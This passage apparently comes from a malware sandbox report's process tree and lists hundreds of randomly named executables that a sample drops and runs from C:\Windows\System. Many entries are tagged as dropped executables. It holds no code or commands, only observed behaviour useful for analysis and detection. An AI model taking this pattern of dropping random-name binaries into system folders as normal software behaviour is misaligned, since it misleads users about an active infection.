  2⤵
  - Executes dropped EXE
  PID:1096
- C:\Windows\System\OQeyuep.exe
  C:\Windows\System\OQeyuep.exe
  2⤵
  - Executes dropped EXE
  PID:1264
- C:\Windows\System\elIrWox.exe
  C:\Windows\System\elIrWox.exe
  2⤵
  - Executes dropped EXE
  PID:212
- C:\Windows\System\bTujRYQ.exe
  C:\Windows\System\bTujRYQ.exe
  2⤵
  - Executes dropped EXE
  PID:1976
- C:\Windows\System\IuzWwUX.exe
  C:\Windows\System\IuzWwUX.exe
  2⤵
  - Executes dropped EXE
  PID:3196
- C:\Windows\System\qehLvFe.exe
  C:\Windows\System\qehLvFe.exe
  2⤵
  - Executes dropped EXE
  PID:2464
- C:\Windows\System\LbFNcdO.exe
  C:\Windows\System\LbFNcdO.exe
  2⤵
  - Executes dropped EXE
  PID:4708
- C:\Windows\System\QInSHRZ.exe
  C:\Windows\System\QInSHRZ.exe
  2⤵
  - Executes dropped EXE
  PID:440
- C:\Windows\System\mtCsvIS.exe
  C:\Windows\System\mtCsvIS.exe
  2⤵
  - Executes dropped EXE
  PID:3800
- C:\Windows\System\jmVgbHa.exe
  C:\Windows\System\jmVgbHa.exe
  2⤵
  - Executes dropped EXE
  PID:712
- C:\Windows\System\wHIyCpZ.exe
  C:\Windows\System\wHIyCpZ.exe
  2⤵
  - Executes dropped EXE
  PID:3740
- C:\Windows\System\NoYvIKO.exe
  C:\Windows\System\NoYvIKO.exe
  2⤵
  - Executes dropped EXE
  PID:2908
- C:\Windows\System\xzYhLLv.exe
  C:\Windows\System\xzYhLLv.exe
  2⤵
  - Executes dropped EXE
  PID:4928
- C:\Windows\System\ihvXbgG.exe
  C:\Windows\System\ihvXbgG.exe
  2⤵
  - Executes dropped EXE
  PID:3752
- C:\Windows\System\TVdduEC.exe
  C:\Windows\System\TVdduEC.exe
  2⤵
  - Executes dropped EXE
  PID:3956
- C:\Windows\System\kxpUtDl.exe
  C:\Windows\System\kxpUtDl.exe
  2⤵
  - Executes dropped EXE
  PID:4644
- C:\Windows\System\XHHQysL.exe
  C:\Windows\System\XHHQysL.exe
  2⤵
  - Executes dropped EXE
  PID:2752
- C:\Windows\System\OtgNTOb.exe
  C:\Windows\System\OtgNTOb.exe
  2⤵
  - Executes dropped EXE
  PID:3792
- C:\Windows\System\GKClVOo.exe
  C:\Windows\System\GKClVOo.exe
  2⤵
  - Executes dropped EXE
  PID:808
- C:\Windows\System\ZPlcdjL.exe
  C:\Windows\System\ZPlcdjL.exe
  2⤵
  - Executes dropped EXE
  PID:2272
- C:\Windows\System\oSYURaU.exe
  C:\Windows\System\oSYURaU.exe
  2⤵
  - Executes dropped EXE
  PID:552
- C:\Windows\System\PxdrxXl.exe
  C:\Windows\System\PxdrxXl.exe
  2⤵
  - Executes dropped EXE
  PID:5056
- C:\Windows\System\OWQHCYV.exe
  C:\Windows\System\OWQHCYV.exe
  2⤵
  - Executes dropped EXE
  PID:1668
- C:\Windows\System\RSjKWqS.exe
  C:\Windows\System\RSjKWqS.exe
  2⤵
  - Executes dropped EXE
  PID:2324
- C:\Windows\System\ADJzXxx.exe
  C:\Windows\System\ADJzXxx.exe
  2⤵
  - Executes dropped EXE
  PID:644
- C:\Windows\System\AGaiVRx.exe
  C:\Windows\System\AGaiVRx.exe
  2⤵
  - Executes dropped EXE
  PID:4080
- C:\Windows\System\ICYqKab.exe
  C:\Windows\System\ICYqKab.exe
  2⤵
  - Executes dropped EXE
  PID:2664
- C:\Windows\System\IJoEiwp.exe
  C:\Windows\System\IJoEiwp.exe
  2⤵
  - Executes dropped EXE
  PID:1748
- C:\Windows\System\tuihtWH.exe
  C:\Windows\System\tuihtWH.exe
  2⤵
  - Executes dropped EXE
  PID:4324
- C:\Windows\System\HJCDcrY.exe
  C:\Windows\System\HJCDcrY.exe
  2⤵
  - Executes dropped EXE
  PID:772
- C:\Windows\System\FtsrmFL.exe
  C:\Windows\System\FtsrmFL.exe
  2⤵
  - Executes dropped EXE
  PID:1268
- C:\Windows\System\mGJDjMX.exe
  C:\Windows\System\mGJDjMX.exe
  2⤵
  - Executes dropped EXE
  PID:3280
- C:\Windows\System\kwafMmk.exe
  C:\Windows\System\kwafMmk.exe
  2⤵
  - Executes dropped EXE
  PID:452
- C:\Windows\System\qrtjZVu.exe
  C:\Windows\System\qrtjZVu.exe
  2⤵
  - Executes dropped EXE
  PID:5044
- C:\Windows\System\lmslxVj.exe
  C:\Windows\System\lmslxVj.exe
  2⤵
  - Executes dropped EXE
  PID:628
- C:\Windows\System\sjURFkQ.exe
  C:\Windows\System\sjURFkQ.exe
  2⤵
  - Executes dropped EXE
  PID:936
- C:\Windows\System\FRkfyTA.exe
  C:\Windows\System\FRkfyTA.exe
  2⤵
  - Executes dropped EXE
  PID:5144
- C:\Windows\System\fRDbVPf.exe
  C:\Windows\System\fRDbVPf.exe
  2⤵
  - Executes dropped EXE
  PID:5172
- C:\Windows\System\YFCeHcN.exe
  C:\Windows\System\YFCeHcN.exe
  2⤵
  - Executes dropped EXE
  PID:5188
- C:\Windows\System\YvtkNFw.exe
  C:\Windows\System\YvtkNFw.exe
  2⤵
  - Executes dropped EXE
  PID:5212
- C:\Windows\System\jzUsxmW.exe
  C:\Windows\System\jzUsxmW.exe
  2⤵
  - Executes dropped EXE
  PID:5256
- C:\Windows\System\zgqZdGA.exe
  C:\Windows\System\zgqZdGA.exe
  2⤵
  - Executes dropped EXE
  PID:5288
- C:\Windows\System\HSDyRVU.exe
  C:\Windows\System\HSDyRVU.exe
  2⤵
  - Executes dropped EXE
  PID:5328
- C:\Windows\System\ljMBcdt.exe
  C:\Windows\System\ljMBcdt.exe
  2⤵
  - Executes dropped EXE
  PID:5352
- C:\Windows\System\hMXFVOC.exe
  C:\Windows\System\hMXFVOC.exe
  2⤵
  - Executes dropped EXE
  PID:5384
- C:\Windows\System\UyUuGOf.exe
  C:\Windows\System\UyUuGOf.exe
  2⤵
  - Executes dropped EXE
  PID:5404
- C:\Windows\System\bqrWyqZ.exe
  C:\Windows\System\bqrWyqZ.exe
  2⤵
  - Executes dropped EXE
  PID:5444
- C:\Windows\System\BgYrEpS.exe
  C:\Windows\System\BgYrEpS.exe
  2⤵
  PID:5468
- C:\Windows\System\RufcrEM.exe
  C:\Windows\System\RufcrEM.exe
  2⤵
  PID:5500
- C:\Windows\System\cCJLFoe.exe
  C:\Windows\System\cCJLFoe.exe
  2⤵
  PID:5544
- C:\Windows\System\ahQreVU.exe
  C:\Windows\System\ahQreVU.exe
  2⤵
  PID:5564
- C:\Windows\System\uLhaBkm.exe
  C:\Windows\System\uLhaBkm.exe
  2⤵
  PID:5620
- C:\Windows\System\GglNGcc.exe
  C:\Windows\System\GglNGcc.exe
  2⤵
  PID:5700
- C:\Windows\System\tnZbVEE.exe
  C:\Windows\System\tnZbVEE.exe
  2⤵
  PID:5728
- C:\Windows\System\BduRPQs.exe
  C:\Windows\System\BduRPQs.exe
  2⤵
  PID:5760
- C:\Windows\System\epJOeoP.exe
  C:\Windows\System\epJOeoP.exe
  2⤵
  PID:5776
- C:\Windows\System\TQlOAmm.exe
  C:\Windows\System\TQlOAmm.exe
  2⤵
  PID:5796
- C:\Windows\System\MpCAfBW.exe
  C:\Windows\System\MpCAfBW.exe
  2⤵
  PID:5812
- C:\Windows\System\ICAgVLu.exe
  C:\Windows\System\ICAgVLu.exe
  2⤵
  PID:5840
- C:\Windows\System\PSvkruC.exe
  C:\Windows\System\PSvkruC.exe
  2⤵
  PID:5864
- C:\Windows\System\fQQperf.exe
  C:\Windows\System\fQQperf.exe
  2⤵
  PID:5904
- C:\Windows\System\xrZpsqi.exe
  C:\Windows\System\xrZpsqi.exe
  2⤵
  PID:5924
- C:\Windows\System\qEuZEWG.exe
  C:\Windows\System\qEuZEWG.exe
  2⤵
  PID:5952
- C:\Windows\System\FdJrdlb.exe
  C:\Windows\System\FdJrdlb.exe
  2⤵
  PID:5976
- C:\Windows\System\KLSSHvF.exe
  C:\Windows\System\KLSSHvF.exe
  2⤵
  PID:5996
- C:\Windows\System\icbNCXB.exe
  C:\Windows\System\icbNCXB.exe
  2⤵
  PID:6012
- C:\Windows\System\IisVTEo.exe
  C:\Windows\System\IisVTEo.exe
  2⤵
  PID:6036
- C:\Windows\System\YIAsKeC.exe
  C:\Windows\System\YIAsKeC.exe
  2⤵
  PID:6068
- C:\Windows\System\uTGBLtk.exe
  C:\Windows\System\uTGBLtk.exe
  2⤵
  PID:6092
- C:\Windows\System\VhYThfG.exe
  C:\Windows\System\VhYThfG.exe
  2⤵
  PID:6120
- C:\Windows\System\nwhbdsU.exe
  C:\Windows\System\nwhbdsU.exe
  2⤵
  PID:5128
- C:\Windows\System\LKamjkv.exe
  C:\Windows\System\LKamjkv.exe
  2⤵
  PID:5156
- C:\Windows\System\AAvwSYV.exe
  C:\Windows\System\AAvwSYV.exe
  2⤵
  PID:5236
- C:\Windows\System\isYXLDD.exe
  C:\Windows\System\isYXLDD.exe
  2⤵
  PID:5268
- C:\Windows\System\lGWWLDh.exe
  C:\Windows\System\lGWWLDh.exe
  2⤵
  PID:368
- C:\Windows\System\HgkBeIm.exe
  C:\Windows\System\HgkBeIm.exe
  2⤵
  PID:2224
- C:\Windows\System\PZKFbRe.exe
  C:\Windows\System\PZKFbRe.exe
  2⤵
  PID:5400
- C:\Windows\System\tnXEmpW.exe
  C:\Windows\System\tnXEmpW.exe
  2⤵
  PID:4472
- C:\Windows\System\IHERRQj.exe
  C:\Windows\System\IHERRQj.exe
  2⤵
  PID:5528
- C:\Windows\System\MTpZcbo.exe
  C:\Windows\System\MTpZcbo.exe
  2⤵
  PID:5612
- C:\Windows\System\MykPURJ.exe
  C:\Windows\System\MykPURJ.exe
  2⤵
  PID:5604
- C:\Windows\System\rvjyvyU.exe
  C:\Windows\System\rvjyvyU.exe
  2⤵
  PID:5680
- C:\Windows\System\oQqokcm.exe
  C:\Windows\System\oQqokcm.exe
  2⤵
  PID:5712
- C:\Windows\System\aryogZb.exe
  C:\Windows\System\aryogZb.exe
  2⤵
  PID:5768
- C:\Windows\System\nCkyMDB.exe
  C:\Windows\System\nCkyMDB.exe
  2⤵
  PID:5784
- C:\Windows\System\EMbuwCH.exe
  C:\Windows\System\EMbuwCH.exe
  2⤵
  PID:5856
- C:\Windows\System\nTwohoB.exe
  C:\Windows\System\nTwohoB.exe
  2⤵
  PID:5916
- C:\Windows\System\nceanxe.exe
  C:\Windows\System\nceanxe.exe
  2⤵
  PID:5392
- C:\Windows\System\oKbfSyY.exe
  C:\Windows\System\oKbfSyY.exe
  2⤵
  PID:5992
- C:\Windows\System\QgOlAeS.exe
  C:\Windows\System\QgOlAeS.exe
  2⤵
  PID:6020
- C:\Windows\System\HRRdQBt.exe
  C:\Windows\System\HRRdQBt.exe
  2⤵
  PID:6088
- C:\Windows\System\WdYZAKj.exe
  C:\Windows\System\WdYZAKj.exe
  2⤵
  PID:2500
- C:\Windows\System\JMrlVWE.exe
  C:\Windows\System\JMrlVWE.exe
  2⤵
  PID:4140
- C:\Windows\System\TqdMkDE.exe
  C:\Windows\System\TqdMkDE.exe
  2⤵
  PID:5456
- C:\Windows\System\VtyJLNx.exe
  C:\Windows\System\VtyJLNx.exe
  2⤵
  PID:5532
- C:\Windows\System\JqZwjZD.exe
  C:\Windows\System\JqZwjZD.exe
  2⤵
  PID:5572
- C:\Windows\System\TBlfHuP.exe
  C:\Windows\System\TBlfHuP.exe
  2⤵
  PID:5660
- C:\Windows\System\IcMSfVq.exe
  C:\Windows\System\IcMSfVq.exe
  2⤵
  PID:5652
- C:\Windows\System\MQFWZbI.exe
  C:\Windows\System\MQFWZbI.exe
  2⤵
  PID:5972
- C:\Windows\System\qjOFIDw.exe
  C:\Windows\System\qjOFIDw.exe
  2⤵
  PID:3720
- C:\Windows\System\sDUtfmD.exe
  C:\Windows\System\sDUtfmD.exe
  2⤵
  PID:5152
- C:\Windows\System\pbycjkz.exe
  C:\Windows\System\pbycjkz.exe
  2⤵
  PID:5340
- C:\Windows\System\mghAqqC.exe
  C:\Windows\System\mghAqqC.exe
  2⤵
  PID:5440
- C:\Windows\System\WXwuKej.exe
  C:\Windows\System\WXwuKej.exe
  2⤵
  PID:5632
- C:\Windows\System\NFdLtHr.exe
  C:\Windows\System\NFdLtHr.exe
  2⤵
  PID:1948
- C:\Windows\System\ylZbOCH.exe
  C:\Windows\System\ylZbOCH.exe
  2⤵
  PID:5724
- C:\Windows\System\KclTiPh.exe
  C:\Windows\System\KclTiPh.exe
  2⤵
  PID:6188
- C:\Windows\System\JwTvmyA.exe
  C:\Windows\System\JwTvmyA.exe
  2⤵
  PID:6224
- C:\Windows\System\lVobdVe.exe
  C:\Windows\System\lVobdVe.exe
  2⤵
  PID:6248
- C:\Windows\System\IgqXbMa.exe
  C:\Windows\System\IgqXbMa.exe
  2⤵
  PID:6272
- C:\Windows\System\xLyMHjf.exe
  C:\Windows\System\xLyMHjf.exe
  2⤵
  PID:6320
- C:\Windows\System\yLOHwqb.exe
  C:\Windows\System\yLOHwqb.exe
  2⤵
  PID:6344
- C:\Windows\System\MrerRgP.exe
  C:\Windows\System\MrerRgP.exe
  2⤵
  PID:6368
- C:\Windows\System\olTosyX.exe
  C:\Windows\System\olTosyX.exe
  2⤵
  PID:6408
- C:\Windows\System\xMWFchY.exe
  C:\Windows\System\xMWFchY.exe
  2⤵
  PID:6432
- C:\Windows\System\fuPIJaj.exe
  C:\Windows\System\fuPIJaj.exe
  2⤵
  PID:6456
- C:\Windows\System\etLuXnD.exe
  C:\Windows\System\etLuXnD.exe
  2⤵
  PID:6480
- C:\Windows\System\hJXsHTe.exe
  C:\Windows\System\hJXsHTe.exe
  2⤵
  PID:6508
- C:\Windows\System\rYVSNqQ.exe
  C:\Windows\System\rYVSNqQ.exe
  2⤵
  PID:6532
- C:\Windows\System\zxGbTff.exe
  C:\Windows\System\zxGbTff.exe
  2⤵
  PID:6556
- C:\Windows\System\GjzlwZn.exe
  C:\Windows\System\GjzlwZn.exe
  2⤵
  PID:6576
- C:\Windows\System\woTdfDF.exe
  C:\Windows\System\woTdfDF.exe
  2⤵
  PID:6596
- C:\Windows\System\PUIoUGB.exe
  C:\Windows\System\PUIoUGB.exe
  2⤵
  PID:6616
- C:\Windows\System\zQKygvc.exe
  C:\Windows\System\zQKygvc.exe
  2⤵
  PID:6660
- C:\Windows\System\GRhuLiz.exe
  C:\Windows\System\GRhuLiz.exe
  2⤵
  PID:6700
- C:\Windows\System\OklgWPd.exe
  C:\Windows\System\OklgWPd.exe
  2⤵
  PID:6720
- C:\Windows\System\DEVuGmq.exe
  C:\Windows\System\DEVuGmq.exe
  2⤵
  PID:6740
- C:\Windows\System\qyLnEMH.exe
  C:\Windows\System\qyLnEMH.exe
  2⤵
  PID:6768
- C:\Windows\System\jboixhc.exe
  C:\Windows\System\jboixhc.exe
  2⤵
  PID:6796
- C:\Windows\System\pzdxDyh.exe
  C:\Windows\System\pzdxDyh.exe
  2⤵
  PID:6816
- C:\Windows\System\FdjJZIE.exe
  C:\Windows\System\FdjJZIE.exe
  2⤵
  PID:6860
- C:\Windows\System\qobSSWr.exe
  C:\Windows\System\qobSSWr.exe
  2⤵
  PID:6876
- C:\Windows\System\CJbCGCh.exe
  C:\Windows\System\CJbCGCh.exe
  2⤵
  PID:6904
- C:\Windows\System\ROzNjIX.exe
  C:\Windows\System\ROzNjIX.exe
  2⤵
  PID:6920
- C:\Windows\System\zRWmcdt.exe
  C:\Windows\System\zRWmcdt.exe
  2⤵
  PID:6940
- C:\Windows\System\EdFAYpW.exe
  C:\Windows\System\EdFAYpW.exe
  2⤵
  PID:6960
- C:\Windows\System\vCEpDmT.exe
  C:\Windows\System\vCEpDmT.exe
  2⤵
  PID:6980
- C:\Windows\System\RBYLdwI.exe
  C:\Windows\System\RBYLdwI.exe
  2⤵
  PID:7000
- C:\Windows\System\AHjkIVn.exe
  C:\Windows\System\AHjkIVn.exe
  2⤵
  PID:7020
- C:\Windows\System\iodbUjl.exe
  C:\Windows\System\iodbUjl.exe
  2⤵
  PID:7040
- C:\Windows\System\eYjLXgm.exe
  C:\Windows\System\eYjLXgm.exe
  2⤵
  PID:7056
- C:\Windows\System\WGnBltn.exe
  C:\Windows\System\WGnBltn.exe
  2⤵
  PID:7076
- C:\Windows\System\NEtyPVy.exe
  C:\Windows\System\NEtyPVy.exe
  2⤵
  PID:7092
- C:\Windows\System\ystAOmz.exe
  C:\Windows\System\ystAOmz.exe
  2⤵
  PID:7116
- C:\Windows\System\VFmzxUz.exe
  C:\Windows\System\VFmzxUz.exe
  2⤵
  PID:7132
- C:\Windows\System\powSAbt.exe
  C:\Windows\System\powSAbt.exe
  2⤵
  PID:7156
- C:\Windows\System\YoUZwSM.exe
  C:\Windows\System\YoUZwSM.exe
  2⤵
  PID:5896
- C:\Windows\System\zWMrtoO.exe
  C:\Windows\System\zWMrtoO.exe
  2⤵
  PID:1624
- C:\Windows\System\UgcSzAP.exe
  C:\Windows\System\UgcSzAP.exe
  2⤵
  PID:6184
- C:\Windows\System\vJZYTkV.exe
  C:\Windows\System\vJZYTkV.exe
  2⤵
  PID:6232
- C:\Windows\System\PYxSzxN.exe
  C:\Windows\System\PYxSzxN.exe
  2⤵
  PID:6304
- C:\Windows\System\agvpZnK.exe
  C:\Windows\System\agvpZnK.exe
  2⤵
  PID:6352
- C:\Windows\System\PdycLZy.exe
  C:\Windows\System\PdycLZy.exe
  2⤵
  PID:6400
- C:\Windows\System\wLfldAS.exe
  C:\Windows\System\wLfldAS.exe
  2⤵
  PID:6452
- C:\Windows\System\oLJfLEM.exe
  C:\Windows\System\oLJfLEM.exe
  2⤵
  PID:6504
- C:\Windows\System\YMuvcKN.exe
  C:\Windows\System\YMuvcKN.exe
  2⤵
  PID:6544
- C:\Windows\System\jwajGFN.exe
  C:\Windows\System\jwajGFN.exe
  2⤵
  PID:6588
- C:\Windows\System\WFivTbF.exe
  C:\Windows\System\WFivTbF.exe
  2⤵
  PID:6644
- C:\Windows\System\qBSAGpD.exe
  C:\Windows\System\qBSAGpD.exe
  2⤵
  PID:6656
- C:\Windows\System\XkVIouh.exe
  C:\Windows\System\XkVIouh.exe
  2⤵
  PID:6732
- C:\Windows\System\Obmvlca.exe
  C:\Windows\System\Obmvlca.exe
  2⤵
  PID:6792
- C:\Windows\System\KyJecnq.exe
  C:\Windows\System\KyJecnq.exe
  2⤵
  PID:6808
- C:\Windows\System\ewaOZUc.exe
  C:\Windows\System\ewaOZUc.exe
  2⤵
  PID:6868
- C:\Windows\System\wEitooi.exe
  C:\Windows\System\wEitooi.exe
  2⤵
  PID:6916
- C:\Windows\System\gpDeMlD.exe
  C:\Windows\System\gpDeMlD.exe
  2⤵
  PID:6972
- C:\Windows\System\VugHtVJ.exe
  C:\Windows\System\VugHtVJ.exe
  2⤵
  PID:6948
- C:\Windows\System\MeUzctP.exe
  C:\Windows\System\MeUzctP.exe
  2⤵
  PID:7072
- C:\Windows\System\DSviCkX.exe
  C:\Windows\System\DSviCkX.exe
  2⤵
  PID:7140
- C:\Windows\System\UrMuIxb.exe
  C:\Windows\System\UrMuIxb.exe
  2⤵
  PID:6160
- C:\Windows\System\JvxBUll.exe
  C:\Windows\System\JvxBUll.exe
  2⤵
  PID:7108
- C:\Windows\System\oAJGoFk.exe
  C:\Windows\System\oAJGoFk.exe
  2⤵
  PID:4848
- C:\Windows\System\RCHpSoD.exe
  C:\Windows\System\RCHpSoD.exe
  2⤵
  PID:5264
- C:\Windows\System\wjcWUTP.exe
  C:\Windows\System\wjcWUTP.exe
  2⤵
  PID:7184
- C:\Windows\System\XUvedCd.exe
  C:\Windows\System\XUvedCd.exe
  2⤵
  PID:7204
- C:\Windows\System\yQbjVNc.exe
  C:\Windows\System\yQbjVNc.exe
  2⤵
  PID:7228
- C:\Windows\System\povZxuZ.exe
  C:\Windows\System\povZxuZ.exe
  2⤵
  PID:7244
- C:\Windows\System\aknrBCc.exe
  C:\Windows\System\aknrBCc.exe
  2⤵
  PID:7264
- C:\Windows\System\PcahMSn.exe
  C:\Windows\System\PcahMSn.exe
  2⤵
  PID:7284
- C:\Windows\System\LVuZOwy.exe
  C:\Windows\System\LVuZOwy.exe
  2⤵
  PID:7300
- C:\Windows\System\sSaOLeL.exe
  C:\Windows\System\sSaOLeL.exe
  2⤵
  PID:7320
- C:\Windows\System\VPPawBX.exe
  C:\Windows\System\VPPawBX.exe
  2⤵
  PID:7336
- C:\Windows\System\vkUDCVM.exe
  C:\Windows\System\vkUDCVM.exe
  2⤵
  PID:7356
- C:\Windows\System\lTNZyTM.exe
  C:\Windows\System\lTNZyTM.exe
  2⤵
  PID:7372
- C:\Windows\System\JMfToak.exe
  C:\Windows\System\JMfToak.exe
  2⤵
  PID:7396
- C:\Windows\System\edTMGVy.exe
  C:\Windows\System\edTMGVy.exe
  2⤵
  PID:7416
- C:\Windows\System\kSQDySL.exe
  C:\Windows\System\kSQDySL.exe
  2⤵
  PID:7432
- C:\Windows\System\vkEHWds.exe
  C:\Windows\System\vkEHWds.exe
  2⤵
  PID:7452
- C:\Windows\System\nlGQbiF.exe
  C:\Windows\System\nlGQbiF.exe
  2⤵
  PID:7472
- C:\Windows\System\fgAZMeC.exe
  C:\Windows\System\fgAZMeC.exe
  2⤵
  PID:7492
- C:\Windows\System\mwHbUVd.exe
  C:\Windows\System\mwHbUVd.exe
  2⤵
  PID:7512
- C:\Windows\System\vElbCjB.exe
  C:\Windows\System\vElbCjB.exe
  2⤵
  PID:7536
- C:\Windows\System\VcMPuer.exe
  C:\Windows\System\VcMPuer.exe
  2⤵
  PID:7556
- C:\Windows\System\wVTHGCu.exe
  C:\Windows\System\wVTHGCu.exe
  2⤵
  PID:7576
- C:\Windows\System\FbFFKXA.exe
  C:\Windows\System\FbFFKXA.exe
  2⤵
  PID:7596
- C:\Windows\System\cJJUvHu.exe
  C:\Windows\System\cJJUvHu.exe
  2⤵
  PID:7616
- C:\Windows\System\dpnwDLb.exe
  C:\Windows\System\dpnwDLb.exe
  2⤵
  PID:7640
- C:\Windows\System\YEPXlSk.exe
  C:\Windows\System\YEPXlSk.exe
  2⤵
  PID:7656
- C:\Windows\System\ogduFdl.exe
  C:\Windows\System\ogduFdl.exe
  2⤵
  PID:7680
- C:\Windows\System\nBwxNfB.exe
  C:\Windows\System\nBwxNfB.exe
  2⤵
  PID:7696
- C:\Windows\System\bWWqYLj.exe
  C:\Windows\System\bWWqYLj.exe
  2⤵
  PID:7716
- C:\Windows\System\dvTmfxZ.exe
  C:\Windows\System\dvTmfxZ.exe
  2⤵
  PID:7740
- C:\Windows\System\AmwPcfH.exe
  C:\Windows\System\AmwPcfH.exe
  2⤵
  PID:7756
- C:\Windows\System\hefVNOu.exe
  C:\Windows\System\hefVNOu.exe
  2⤵
  PID:7780
- C:\Windows\System\oXEWLsC.exe
  C:\Windows\System\oXEWLsC.exe
  2⤵
  PID:7800
- C:\Windows\System\bCXUKGg.exe
  C:\Windows\System\bCXUKGg.exe
  2⤵
  PID:7820
- C:\Windows\System\yDVslkd.exe
  C:\Windows\System\yDVslkd.exe
  2⤵
  PID:7836
- C:\Windows\System\jMWPWsd.exe
  C:\Windows\System\jMWPWsd.exe
  2⤵
  PID:7860
- C:\Windows\System\mmAqFAM.exe
  C:\Windows\System\mmAqFAM.exe
  2⤵
  PID:7880
- C:\Windows\System\loJjQhA.exe
  C:\Windows\System\loJjQhA.exe
  2⤵
  PID:7900
- C:\Windows\System\fxxkkWF.exe
  C:\Windows\System\fxxkkWF.exe
  2⤵
  PID:7924
- C:\Windows\System\bCiVpPs.exe
  C:\Windows\System\bCiVpPs.exe
  2⤵
  PID:7940
- C:\Windows\System\ZJsQIJc.exe
  C:\Windows\System\ZJsQIJc.exe
  2⤵
  PID:7968
- C:\Windows\System\oPmRuAp.exe
  C:\Windows\System\oPmRuAp.exe
  2⤵
  PID:7988
- C:\Windows\System\pklkeJU.exe
  C:\Windows\System\pklkeJU.exe
  2⤵
  PID:8008
- C:\Windows\System\PdDFeAI.exe
  C:\Windows\System\PdDFeAI.exe
  2⤵
  PID:8032
- C:\Windows\System\slcGmiU.exe
  C:\Windows\System\slcGmiU.exe
  2⤵
  PID:8052
- C:\Windows\System\jTaqGKf.exe
  C:\Windows\System\jTaqGKf.exe
  2⤵
  PID:8072
- C:\Windows\System\MRltNtG.exe
  C:\Windows\System\MRltNtG.exe
  2⤵
  PID:8092
- C:\Windows\System\AlYjdSJ.exe
  C:\Windows\System\AlYjdSJ.exe
  2⤵
  PID:8108
- C:\Windows\System\PPwhVLV.exe
  C:\Windows\System\PPwhVLV.exe
  2⤵
  PID:8124
- C:\Windows\System\vBlcHMU.exe
  C:\Windows\System\vBlcHMU.exe
  2⤵
  PID:8144
- C:\Windows\System\zpycfmj.exe
  C:\Windows\System\zpycfmj.exe
  2⤵
  PID:8168
- C:\Windows\System\zZLDroT.exe
  C:\Windows\System\zZLDroT.exe
  2⤵
  PID:8188
- C:\Windows\System\TLvTYyV.exe
  C:\Windows\System\TLvTYyV.exe
  2⤵
  PID:6912
- C:\Windows\System\lTPZMXg.exe
  C:\Windows\System\lTPZMXg.exe
  2⤵
  PID:6952
- C:\Windows\System\cubzyWg.exe
  C:\Windows\System\cubzyWg.exe
  2⤵
  PID:6528
- C:\Windows\System\bthklhw.exe
  C:\Windows\System\bthklhw.exe
  2⤵
  PID:6208
- C:\Windows\System\jQWlzSg.exe
  C:\Windows\System\jQWlzSg.exe
  2⤵
  PID:6756
- C:\Windows\System\bWBptHM.exe
  C:\Windows\System\bWBptHM.exe
  2⤵
  PID:7200
- C:\Windows\System\nXmGnyv.exe
  C:\Windows\System\nXmGnyv.exe
  2⤵
  PID:6284
- C:\Windows\System\jxBPQfL.exe
  C:\Windows\System\jxBPQfL.exe
  2⤵
  PID:6464
- C:\Windows\System\VZsoSFo.exe
  C:\Windows\System\VZsoSFo.exe
  2⤵
  PID:7412
- C:\Windows\System\boTyEqa.exe
  C:\Windows\System\boTyEqa.exe
  2⤵
  PID:7464
- C:\Windows\System\UcOHJEC.exe
  C:\Windows\System\UcOHJEC.exe
  2⤵
  PID:7172
- C:\Windows\System\JVRMNib.exe
  C:\Windows\System\JVRMNib.exe
  2⤵
  PID:7584
- C:\Windows\System\SbMVtII.exe
  C:\Windows\System\SbMVtII.exe
  2⤵
  PID:7236
- C:\Windows\System\krgxsBF.exe
  C:\Windows\System\krgxsBF.exe
  2⤵
  PID:7688
- C:\Windows\System\jybVbbW.exe
  C:\Windows\System\jybVbbW.exe
  2⤵
  PID:7712
- C:\Windows\System\cJRjKAB.exe
  C:\Windows\System\cJRjKAB.exe
  2⤵
  PID:4432
- C:\Windows\System\ODPPynd.exe
  C:\Windows\System\ODPPynd.exe
  2⤵
  PID:8212
- C:\Windows\System\RthzXyh.exe
  C:\Windows\System\RthzXyh.exe
  2⤵
  PID:8232
- C:\Windows\System\zHqDHwK.exe
  C:\Windows\System\zHqDHwK.exe
  2⤵
  PID:8252
- C:\Windows\System\qIZgorM.exe
  C:\Windows\System\qIZgorM.exe
  2⤵
  PID:8272
- C:\Windows\System\NIutTIr.exe
  C:\Windows\System\NIutTIr.exe
  2⤵
  PID:8292
- C:\Windows\System\JDHQhTx.exe
  C:\Windows\System\JDHQhTx.exe
  2⤵
  PID:8312
- C:\Windows\System\AyoNNeI.exe
  C:\Windows\System\AyoNNeI.exe
  2⤵
  PID:8332
- C:\Windows\System\gVZoYQe.exe
  C:\Windows\System\gVZoYQe.exe
  2⤵
  PID:8352
- C:\Windows\System\CczBaMi.exe
  C:\Windows\System\CczBaMi.exe
  2⤵
  PID:8372
- C:\Windows\System\yobECyZ.exe
  C:\Windows\System\yobECyZ.exe
  2⤵
  PID:8392
- C:\Windows\System\gEjaCoc.exe
  C:\Windows\System\gEjaCoc.exe
  2⤵
  PID:8412
- C:\Windows\System\WqCZofV.exe
  C:\Windows\System\WqCZofV.exe
  2⤵
  PID:8432
- C:\Windows\System\YagCDix.exe
  C:\Windows\System\YagCDix.exe
  2⤵
  PID:8448
- C:\Windows\System\KceAZEp.exe
  C:\Windows\System\KceAZEp.exe
  2⤵
  PID:8468
- C:\Windows\System\skRcpCh.exe
  C:\Windows\System\skRcpCh.exe
  2⤵
  PID:8488
- C:\Windows\System\IYSpUOr.exe
  C:\Windows\System\IYSpUOr.exe
  2⤵
  PID:8508
- C:\Windows\System\FQAMtpB.exe
  C:\Windows\System\FQAMtpB.exe
  2⤵
  PID:8524
- C:\Windows\System\tcDdEcH.exe
  C:\Windows\System\tcDdEcH.exe
  2⤵
  PID:8540
- C:\Windows\System\VVNKAFO.exe
  C:\Windows\System\VVNKAFO.exe
  2⤵
  PID:8564
- C:\Windows\System\pjeuOWJ.exe
  C:\Windows\System\pjeuOWJ.exe
  2⤵
  PID:8584
- C:\Windows\System\ncUPbre.exe
  C:\Windows\System\ncUPbre.exe
  2⤵
  PID:8608
- C:\Windows\System\wCrtwqb.exe
  C:\Windows\System\wCrtwqb.exe
  2⤵
  PID:8624
- C:\Windows\System\xkuWLdE.exe
  C:\Windows\System\xkuWLdE.exe
  2⤵
  PID:8648
- C:\Windows\System\wFDZobs.exe
  C:\Windows\System\wFDZobs.exe
  2⤵
  PID:8668
- C:\Windows\System\EYnupYY.exe
  C:\Windows\System\EYnupYY.exe
  2⤵
  PID:8684
- C:\Windows\System\oxXwYSh.exe
  C:\Windows\System\oxXwYSh.exe
  2⤵
  PID:8712
- C:\Windows\System\vnioiMq.exe
  C:\Windows\System\vnioiMq.exe
  2⤵
  PID:8732
- C:\Windows\System\sKDIjTG.exe
  C:\Windows\System\sKDIjTG.exe
  2⤵
  PID:8748
